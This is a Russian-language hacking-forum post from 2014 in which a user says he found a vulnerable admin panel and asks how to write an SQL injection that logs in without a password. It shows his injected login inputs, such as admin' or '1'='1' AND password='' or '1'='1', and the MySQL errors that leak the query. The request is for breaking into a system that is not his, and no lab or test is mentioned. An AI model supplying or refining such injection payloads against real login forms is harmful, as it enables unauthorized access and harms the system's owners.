Показать сообщение отдельно

  #4  
Старый 23.01.2014, 13:53
Evil_Genius
Новичок
Регистрация: 03.08.2009
Сообщений: 23
С нами: 8827377

Репутация: -5
По умолчанию

Подскажите пожалуйста по вопросу sql inj. Нашел уязвимую админку, хочу создать запрос для проникновения без пароля.

Есть 2 поля: Логин и Пароль





В поле username ввожу '1

В поле password ввожу '2

На что выдает мне:

DB Error: syntax error

SELECT NAME, PASSWORD FROM USER WHERE NAME = ''1' AND state = '0' [nativecode=1064 ** You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' AND state = '0'' at line 2]


Далее пробую вставить запрос такого вида в поле username

admin' or '1'='1' AND password='' or '1'='1'

На что выдает следующее:

DB Error: syntax error

SELECT NAME, PASSWORD FROM USER WHERE NAME = 'admin' or '1'='1' AND password='' or '1'='1'' AND state = '0' [nativecode=1064 ** You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '0'' at line 2]


Как правильно составить запрос?
 
Ответить с цитированием